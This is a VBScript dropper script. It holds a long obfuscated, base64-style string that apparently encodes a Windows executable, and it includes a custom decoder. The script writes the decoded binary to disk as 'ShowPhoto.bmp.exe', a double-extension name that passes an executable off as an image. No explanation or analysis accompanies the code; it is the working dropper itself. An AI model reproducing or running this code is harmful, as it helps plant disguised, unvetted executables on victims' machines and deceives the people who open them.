bs=_
"NpFkAMAAAAABAAAA//PAAgLAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYDAAA4wH66AA0mQzhgbAM1cIUhWazBCcy92ZyFWbgMWYu52b0BiYlBic15GIp5GIE90Ug02bkVmLN0gCkAAAAAAAAAwz"+_
"nhQjLagZevoBm59iGYm3pnRde3oBm5N5Zwm3AagZejgGo5tiGYm3knhYejoBm59iGcm3TagZe3LIt5tiGYm3Sl2YotoBm5NAAAAAAAAAAAAAAAAAAAAAQVEAAwUADAwBBcXTAAAAAAAAAAA4A8QALEgBAAAEAAAAQAAAAAEAAA6U"+_
"AAAAQBAAAAGAAAAAABAAQAAAAIAAAQAAAAAAAAAAEAAAAAAAAAAAwBAAAABAAAAAAAwAAAAAAAAEAAAEAAAAAABAAABAAAAAAAAEAAAAAAAAAAAAAAAAgBAA0EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQVQhFMAAAAAAAQAAAAQAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4VBFWxAAAAAAAQAAA"+_
"AAFAAAgBAAAAEAAAAAAAAAAAAAAAAAAAABAAgXFUYJDAAAAAAABAAAAYAAAACAAAAoAAAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz4CM0AQVQhVINkgAIM9fd/GzP+w++KDAA45AAAAAOAAAmAAALo8///fVLy+g"+_
"sTxg9hQA0BDaQADQAsYRMsISEEF6Ak8y3/dGEjQhATHGohxFVJEBQt7yn5XdSgGHQYOBpfw3oZ/9bvLbR8fFUASBJWE+oh3NNhfUR42zx2MEjCJHQCD7PxuU922GZnCY0nHI9oWAmlndH+napwFIwT/0sdbkEwvHwDlU8DAW7f2W"+_
"oZDz1UF/ShGLBQEB/mtbtrGZBgC9QRCCzA8il31w7dmN3z8/lQFDFwU9q9PaoFkw77u9wIBBkFKvAAFZJWyBP8mtt/PITZ1VJWG6DWG/KFARQl1gNQa3sd2e+aAqUwyiNA67Ijs9MjQDowZokwQf3fCbuzaHCMyg9woCAUHDoRy2"+_
"93Zzs9EIZ4AaMgBaIgi1OCbB5g5GY3oA76a2u5eNUyQCgD1AUTezTXQ++CDsEIDA6xDtvst7NBeh1BuAUTO6n4Pob41ttIJMJxNNE9xbIsYbr9f/JkYTQDVU2IQWZN8igvC0f02bsRISVAUBcA2HDgFMfFOBHliMANsZktgV+AQK"+_
"0gzcQEQZA8PCoMgfmHBQAofE38RRhl4Ct0Ca//lylXGbw9yPg8M1K7rz72MvOTMv/////7PIh6rsirM1waeo/qgCgM9w3i6o6CysMDt8DvPIy6syfY/+d3PIVUr2SvLu23gzqeTtEL8/wlv936rtKw1alJnbzIz0HVGdD9GKkH+/"+_
"uN3bsV2Vp5GZvdH7BAEQIM6booCQgIRJoEs5YCBE7Bp9/x+/QJ3bjFEZkJXZzN3DN9GZ1xWZIFmbkVgf7Tz2BpSpAMVZPMGdPJmaL//2mXQDD9SY0V2Qv1GchRXaiR0PNb/tDNhQpRnQsRnMvyxXp5G3td3aSUictpwXzpVdztQ/"+_
"tb22vgWEyFGZqBBdfZGZpZ3gttt9fAnAj5Ub9VWDmtv1aH2CnlTNKFmcnNnNzs9W+WGejVGcoBKSzYTHLYvduRHxsZGc4YXZuZN32tfVYNmKGlGllBHOVArd7F7PGgncjt7ldb3bbpIc2QXew1GcyxDdmZttPN7w6yFTvdaS+NYO"+_
"G5iwB1x59AVRb/Hy/xUADAwBBcXTgDwDBsQAGwABffdn1YwE2PEADASDA9m9md2CCICAHoBbyXbZMU1KQcALvM6lGYLdgQGIpbAhXh2FsdXYuoEe0dAPCA5s2W4TZTgQg5ickheYnAb3CZQeggg8A100sNrLmcCAwIADwX+NlA8G"+_
"AFiQxAAAAAAAAAAAIBw/AAAY+CAUABQj+CAw///VD28/rDBkQCJkQCpiGYEiHcUAbX3BL6xguzfEbLX74GAAAAQAbX3BL6xguzfEbHBwBs9cvXXCL6xguzfEbPH5xk8goPgcNEM4IooBGNI8/THdJWcAbX3BL6xguzfEbHRyBsdd"+_
"HsoHD6O/RsdEJXHIBFw21dwieMo78Hx2RkcAbP371lwieMo78Hx2zR+gBLQg9Dw8///gRHQjU8yg9zvdPooACh4BHlUd3n+Y////QuoADKMBJewgHTwgpTwdxHwzpz0///vXJefuKAAAAo4BHxC68Ewd3D4PAUn8LegifRgZBjOC"+_
"BDMEGScK4D46oHA8JewgHXAiYLe2N6LAwAAALeQCATHPL+FBNSIMAAFAAEw8QN4xI8vlkBFAAUpiHcECATH3Jm/VIJvrV9vloBFAAkAw0dQiDM4wEse4/bJeQBAAL6KbQBAAN6LAw///7CAEAAAUUpGBTd1/V34h3HAAAAII/BIY"+_
"o8HWQRFUTd1/VjVYNSEJAqGA5Qcd6PI7Amux7+//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgJYAAAZgBAA"+_
"AAAAAAAAAAAAAAAAlCGAAAIYAAAAAAAAAAAAAAAAAAwrgBAAICGAAAAAAAAAAAAAAAAAAoLYAAAkgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxgBAASDGAAIOYAAg8gBAAAEGAA4QYAAAAAAAAcEGAAAAAAAAJhBAAAAAAAoSYAAAA"+_
"AAAALVkUOVETzIjLExETAcERJNjMuQGbsBQTTZ1QSRlLkxGbAU1UFJ1My4CZsxGAAw0bhRGTpJmchJXeBBAAHVGdQJ3bjFEZkJXZzNHAAYVayRXdhxGUy9GdlNGdAAgVpJHd1FGbBxGbvNGAAYVayRXdhxmRyVWZAAAAFhXa0Blc"+_
"vNWZzNHAAAgQpRnQsRHAAUGepRHAAcUZ0R0QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_
"":set rs=CreateObject("ADODB.Recordset")
set ado=CreateObject("ADODB.Stream")
l=len(bs):ss="":for k=1 to l step 4096:ss=ss+ub64(mid(bs,k,4096)):next:l=len(ss)
rs.fields.append "b",205,l/2:rs.open:rs.addnew:rs("b")=ss+chrb(0):rs.update
ado.mode=3:ado.type=1:ado.open:ado.write rs("b").getchunk(l/2)
ado.savetofile "ShowPhoto.bmp.exe",2:ado.close
function ub64(s):dim t(4),b(3):ub64="":n=len(s):r=2 
if n mod 4<>0 then exit function:end if:for i=1 to n step 4:for j=0 to 3 
a=asc(mid(s,i+j,1)):if a=43 then:a=62:else if a=47 then:a=63:else if a>47 and a<58 then:_
a=a+4:else if a=61 then:a=0:if r=2 then r=j-2:end if:else if a>64 and a<91 then:_
a=a-65:else if a>96 and a<123 then:a=a-71:else:exit function:_
end if:end if:end if:end if:end if:end if:t(j)=a:next
b(0)=t(0)+t(1)*64 mod 256:b(1)=t(1)\4+t(2)*16 mod 256:b(2)=t(2)\16+t(3)*4 
for j=0 to r:if b(j)<16 then ub64=ub64+"0":end if:ub64=ub64+hex(b(j))
next:next:end function